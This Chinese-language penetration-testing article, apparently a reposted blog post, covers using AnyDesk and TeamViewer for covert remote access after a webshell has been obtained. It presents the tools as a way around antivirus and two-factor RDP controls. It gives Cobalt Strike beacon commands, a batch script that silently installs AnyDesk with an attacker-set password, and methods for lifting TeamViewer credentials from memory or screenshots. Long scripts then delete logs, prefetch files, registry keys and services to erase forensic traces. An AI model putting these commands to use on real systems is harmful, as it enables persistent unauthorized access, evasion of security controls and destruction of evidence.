AnyDesk和TeamViewer在渗透测试中的应用

Delina

原文链接：AnyDesk和TeamViewer在渗透测试中的应用
​
0x01 前言
假设已经通过某漏洞拿到目标主机的Webshell权限，这时可以先看下里边是否安装的有以下这些第三方软件，它们可以不用通过Mstsc.exe即可进行远程桌面连接。

1. 向日葵；
   
2. ToDesk；
   
3. AnyDesk；
   
4. TeamViewer；
   
5. Radmin；
   
6. RealVNC；
   
7. PcAnywhere；
   
8. [...SNIP...]

复制代码

利用向日葵/ToDesk/AnyDesk/TeamViewer等第三方软件进入远程桌面时需要使用Administrators权限来执行，而Radmin/RealVNC/PcAnywhere只需找到连接密码即可。
相关阅读：
向日葵软件在渗透测试中的应用（直接点击即可访问）
https://www.yuque.com/docs/share ... 8dab-28848fe91640?#（密码：hist）
0x02 应用场景
AnyDesk与TeamViewer等这类软件都具备内网穿透、文件传输、流量加密等功能，而且它们有数字签名，所以大部分杀毒软件都不会对其进行查杀，在远程桌面连接中可应用场景包括但不限于以下几点。

1. 1) Windows RDP远程桌面连接登录限制；
   
2. 2) 某狗、盾、锁、神等计算机名和IP认证；
   
3. 3) Duo Security RDP等双因素身份验证；
   
4. [...SNIP...]

复制代码

​
0x03 AnyDesk利用方式
首先在本地执行AnyDesk并设置下“为自主访问设置密码”，AnyDesk目录下会生成一些配置文件用来存储我们的ID、Pass、Key和证书等数据，这里记好我们的ID和设置好的Pass，用于后期连接目标机器上的AD，执行过程中不会有UAC弹窗。
​
​
接着把AnyDesk上传至目标磁盘，创建%userprofile%\AppData\Roaming\AnyDesk目录，然后将我们本地的service.conf配置文件上传进去以后再执行AD即可，这个文件是用来给AD设置一个固定的连接ID和Pass。

1. beacon> shell md %userprofile%\AppData\Roaming\AnyDesk
   
2. beacon> shell C:\ProgramData\AnyDesk.exe

复制代码

​
​
注：本地用AnyDesk连接目标时必须先删除%userprofile%\AppData\Roaming\AnyDesk目录下的所有文件，然后重新执行AD，因为只有这样AD才会重新分配一个新的ID给我们，必须与原ID不一样才可以连接目标机器，否则可能会连接到我们本地机器。
​
或者我们可以在命令行直接执行以下批处理文件进行静默安装并设置固定连接密码，接着通过--get-id参数获取AD的连接ID，如果在获取不到连接ID时可以尝试在choice中增加延迟。

• 
  

1. @echo off
   
2. AnyDesk.exe --install "C:\ProgramData\AnyDesk" --silent
   
3. echo licence_keyABC | "C:\ProgramData\AnyDesk\AnyDesk.exe" --register-licence
   
4. echo anydesk!@# | "C:\ProgramData\AnyDesk\AnyDesk.exe" --set-password
   
5. choice /t 10 /d y /n >nul
   
6. for /f "delims=" %%i in ('anydesk --get-id') do set CID=%%i
   
7. echo Connection ID Is: %CID%

复制代码

​
可能需要清理的痕迹：

1. @echo off
   
2. taskkill /f /im AnyDesk.exe
   
3. del /s /q %userprofile%\AppData\Roaming\AnyDesk\*.*
   
4. rmdir /s /q %userprofile%\AppData\Roaming\AnyDesk
   
5. rmdir /s /q "%userprofile%\AppData\Roaming\Apple Computer"
   
6. rmdir /s /q %userprofile%\Videos\AnyDesk
   
7. rmdir /s /q %userprofile%\Pictures\AnyDesk
   
8. del /s /q %userprofile%\Recent\AnyDesk.lnk
   
9. del /s /q %userprofile%\AppData\Roaming\Microsoft\Windows\Recent\AnyDesk*.lnk
   
10. del /s /q C:\Windows\Prefetch\ANYDESK*.pf
    
11. taskkill /f /im AnyDesk.exe
    
12. rmdir /s /q C:\ProgramData\AnyDesk
    
13. reg delete "HKCR\AnyDesk" /f
    
14. reg delete "HKCR\.anydesk" /f
    
15. reg delete "HKLM\SOFTWARE\Classes\AnyDesk" /f
    
16. reg delete "HKLM\SOFTWARE\Clients\Media\AnyDesk" /f
    
17. reg delete "HKLM\SYSTEM\ControlSet001\Services\AnyDesk" /f
    
18. reg delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\AnyDesk" /f
    
19. sc delete AnyDesk
    
20. del /s /q AnyDesk.exe
    
21. [...SNIP...]

复制代码

0x04 TeamViewer利用方式通过以下命令查看目标机器TV绝对路径，也可以自己上传一个免安装版TV并执行，然后再用TeamViewer利用工具获取它的连接ID和Pass。
在执行过程中可能会出现UAC弹窗，这里不管我们选择是或者否都会运行，但这种方式在实战中动静还是太大了。

1. tasklist /svc | findstr "TeamViewer" & sc qc TeamViewer
   
2. wmic process where name="TeamViewer.exe" get processid,name,executablepath
   
3. TeamViewer ID：1 118 357 536  -  TeamViewer Pass：7224
   
4. 
   
5. 图片

复制代码

​
大部分利用工具原理都是在TeamViewer.exe进程的窗体句柄或内存中找到的ID和Pass。
​
或者我们可以在执行TV后通过使用Meterpreter和CobaltStrike中的screenshot命令截取目标机器桌面得到TeamViewer的连接ID和Pass。
​
可能需要清理的痕迹：

1. @echo off
   
2. taskkill /f /im TeamViewer.exe /im tv_w32.exe /im tv_x64.exe
   
3. rd /s /q C:\Windows\Temp\TeamViewerPortable
   
4. rd /s /q "%ProgramFiles%\TeamViewer"
   
5. rd /s /q "%ProgramFiles(x86)%\TeamViewer"
   
6. rd /s /q %userprofile%\AppData\Roaming\TeamViewer
   
7. rd /s /q %userprofile%\AppData\Local\TeamViewer
   
8. rd /s /q %userprofile%\AppData\Local\Temp\TeamViewer
   
9. rd /s /q %userprofile%\AppData\Local\Temp\1\TeamViewer
   
10. rd /s /q %userprofile%\AppData\Local\Temp\1\TeamViewerPortable
    
11. del /s /q %userprofile%\AppData\Roaming\Microsoft\Windows\Recent\TeamViewer*.lnk
    
12. del /s /q C:\Windows\Fonts\teamviewer*.otf
    
13. del /s /q C:\Windows\Prefetch\TeamViewer*.pf
    
14. del /s /q C:\ProgramData\Intel\ShaderCache\TeamViewer*
    
15. sc delete TeamViewer
    
16. [...SNIP...]

复制代码